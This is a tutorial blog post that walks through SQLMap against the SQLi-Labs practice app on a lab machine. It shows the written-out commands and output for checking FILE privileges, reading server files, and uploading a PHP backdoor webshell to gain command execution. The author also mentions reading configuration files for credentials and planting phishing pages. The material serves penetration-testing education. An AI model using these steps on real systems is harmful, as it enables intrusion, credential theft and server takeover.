Reading and writing files from the file system

These days, DBMS systems provide many facilities, one of which includes the ability to read and write files from the file system. In this chapter, we will learn, how to read and write files from SQLi-Labs.


Checking privileges 

Before proceeding further, our first priority is to check whether the running back-end DBMS user has FILE privileges or not.

To get this we'll use the --privileges switch in SQLMap. Using the previous error-based example, let us first check if the database user has FILE privileges or not.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --privileges  

The output is shown below:

[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: UPDATE

As highlighted in the preceding screenshot, you can see that the user has FILE privileges available, and we can utilize this to read/write files from the injection if the file system permissions allow this. 

Remember: MySQL runs a separate user account to read/write files to the file system in Linux, so there will be a problem while retrieving data.


Reading files

Let's try to read a common file under xampp servers called "index.php", which can be found in within c:\xampp\htdocs.

As you noticed, this is the file path of the index.php file highlighted in red color.

We'll use the --file-read switch in SQLMap followed by the full path of the file we want to download.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --file-read=c:/xampp/htdocs/index.html

Now type y to download the mentioned file.

[13:16:59] [INFO] fetching file: 'c:/xampp/htdocs/index.html'
do you want confirmation that the remote file 'c:/xampp/htdocs/index.html' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[13:17:01] [INFO] the local file '/home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html' and the remote file 'c:/xampp/htdocs/sqli-labs-master/index.html' have the same size (7933 B)                       
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html (same file)

SQLMap successfully reads the file and saves it for later usage. You can read this saved file using any text editor.

┌──(kali㉿kali)-[~]
└─$ mousepad /home/kali/.local/share/sqlmap/output/192.168.56.108/files/c__xampp_htdocs_index.html

Reading files from SQLMap can be truly beneficial, sometimes we can get direct database credentials from configuration files of a web application; generally, for popular applications, the location of the configuration file is widely known. 


Writing files

We just saw how to read a file with SQLMap. Now, let's discuss the file-writing capability of SQLMap. As I previously mentioned, if we have proper write access to a directory on the target server then we can successfully upload or write a file.

SQLMap provides the --file-write <followed by the location of the local file to upload>, and the --filedest <followed by the location of the file to write>, on the target server.

For purposes of demonstration, I've created a file locally at /home/kali/test with the content “hello world!”,

and will upload it to the target's c:\xampp\htdocs\test.html folder as follows:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --file-write=/home/kali/test --file-dest=c:/xampp/htdocs/test.html

The output is shown below:

[13:17:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:17:49] [INFO] fingerprinting the back-end DBMS operating system
[13:17:49] [INFO] the back-end DBMS operating system is Windows
[13:17:49] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file '/home/kali/test' has been successfully written on the back-end DBMS file system ('c:/xampp/htdocs/test.html')? [Y/n] y
[13:17:53] [INFO] retrieved: '15'
[13:17:53] [INFO] the remote file 'c:/xampp/htdocs/test.html' is larger (15 B) than the local file '/home/kali/test' (13B)
[13:17:53] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

As reported by SQLMap, we have successfully uploaded the file to the c:\xampp\htdocs folder of the xampp server. Let's verify that from a browser.

Sweet! The file is now live. Going one step ahead, let us upload a PHP one-liner backdoor shell through SQLMap.

Use the below command to copy the simple-backdoor.php file to the kali home directory.

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/simple-backdoor.php shell.php                                                                                                                             

On execution, you will able to copy this file to the Kali home directory.

In order to work properly, you have to edit some values of the "shell.php" file using a text editor:

  • Change the Request value to GET and Save it.


Now use the following command to upload this file to c:\xampp\htdocs\.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4 --file-write=/home/kali/shell.php --file-dest=c:/xampp/htdocs/shell.php

The output is shown below:

---
[13:22:14] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:22:14] [INFO] fingerprinting the back-end DBMS operating system
[13:22:14] [INFO] the back-end DBMS operating system is Windows
[13:22:14] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file '/home/kali/shell.php' has been successfully written on the back-end DBMS file system ('c:/xampp/htdocs/shell.php')? [Y/n] y
[13:22:16] [INFO] retrieved: '326'
[13:22:16] [INFO] the remote file 'c:/xampp/htdocs/shell.php' is larger (326 B) than the local file '/home/kali/shell.php' (324B)

SQLMap reports that the upload is successful. Let's try to access the command shell and execute a few Windows commands like ipconfig, whoami, dir, and many more.

This is the usage URL:

Let's execute commands similar to given the usage:


Fantastic, we have shell access to the server. The writing file capability comes in very handy when uploading backdoor shells, phishing pages, and so on. Keep in mind that if there is an injection into a get parameter, then the maximum length of the file should be less than the size length of the URL accepted by the web server.

For Apache HTTPd, the default maximum URL length is 8 kilobytes, so files less than that can be uploaded with this trick. Although penetration testers typically upload a small PHP script in the document root of the web server it provides the functionality to upload more files to bypass the URL length limitation.

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!